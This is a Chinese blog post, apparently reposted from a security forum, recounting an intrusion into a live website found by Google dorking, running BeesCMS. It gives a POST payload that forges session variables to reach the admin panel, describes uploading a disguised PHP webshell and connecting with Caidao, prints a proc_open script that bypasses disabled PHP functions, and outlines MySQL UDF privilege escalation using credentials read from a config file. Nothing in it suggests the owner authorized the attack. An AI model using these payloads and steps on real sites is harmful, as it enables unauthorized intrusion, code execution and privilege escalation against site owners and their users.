• 记一次渗透挖洞提权实战


    摘要:这是一次挖掘cms通用漏洞时发现的网站,技术含量虽然不是很高,但是也拿出来和大家分享一下吧,希望能给一部分人带来收获。

    0x01 进入后台

    在通过googlehack语法挖掘beescms时发现了这个站点
    在这里插入图片描述
    利用网上的payload,在/mx_form/mx_form.php?id=12页面使用hackbarPOST以下数据

    _SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=100000000000000000000000000000000000
    
    • 1

    然后访问/admin便可以直接进入后台

    0x02 拿shell

    进入后台后在‘添加产品模块’处寻找到了上传点
    在这里插入图片描述
    尝试上马,但提示‘上传图片格式不正确’,于是上传图片马抓包,在repeater里更改后缀为php,然后go

    在这里插入图片描述
    根据回显没有看出是否上传成功,但也没说失败。经过寻找在‘上传图片管理’处找到
    在这里插入图片描述
    点击图片发现解析了,直接菜刀连接,拿到shell

    0x03 绕过安全模式

    拿到shell后进入终端查看权限,但却发现执行命令失败,可能远程启用了安全模式
    在这里插入图片描述
    经过在网上一番查找得出:要找到未禁用的php执行函数。先上传了一个查看phpinfo的脚本,找到已禁用的函数
    在这里插入图片描述
    发现proc_open函数未被禁用,于是找到如下php脚本

    <?php
        $descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符
            0=>array('pipe','r'), //STDIN
            1=>array('pipe','w'),//STDOUT
            2=>array('pipe','w') //STDERROR
        );
        $handle=proc_open('whoami',$descriptorspec,$pipes,NULL);
        //$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
        if(!is_resource($handle)){
        die('proc_open failed');
        }
        //fwrite($pipes[0],'ipconfig');
        print('stdout:<br/>');
        while($s=fgets($pipes[1])){
        print_r($s);
        }
        print('===========<br/>stderr:<br/>');
        while($s=fgets($pipes[2])){
        print_r($s);
        }
        fclose($pipes[0]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($handle);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    上传后可以执行命令,成功绕过安全模式
    在这里插入图片描述
    0x04 提权

    上图可以看出只是iis权限,能做的事很局限,所以要想办法提权。
    菜刀中虽然不能执行命令,但是可以查看文件,于是找到了数据库配置文件
    在这里插入图片描述
    发现是mysql的数据库,想到udf提权,于是上传udf提权脚本(附件中)
    在这里插入图片描述
    登录后导出udf便可以执行命令了

    在这里插入图片描述
    提权成功,但是不可以添加用户,也不能开3389。

    结语:希望路过的各位大佬可以指点迷津,也欢迎各位来找我交流探讨,感谢阅读。

    参考链接:

    PHP限制命令执行绕过https://www.cnblogs.com/R4v3n/articles/9081202.html

    作者: PaperPen
    来源:先知社区
    如有侵权,请联系删除

  • 相关阅读:
    一维数组
    do while循环(熟悉)
    while循环的概念和使用
    break关键字
    continue关键字
    for循环的概念与使用
    switchcase分支结构
    if else if else分支结构
    关于scanf()读取与返回值和回车键的问题
    WCF通过IIS寄宿服务
  • 原文地址:https://www.cnblogs.com/wjw-zm/p/11664402.html
Copyright © 2020-2023  润新知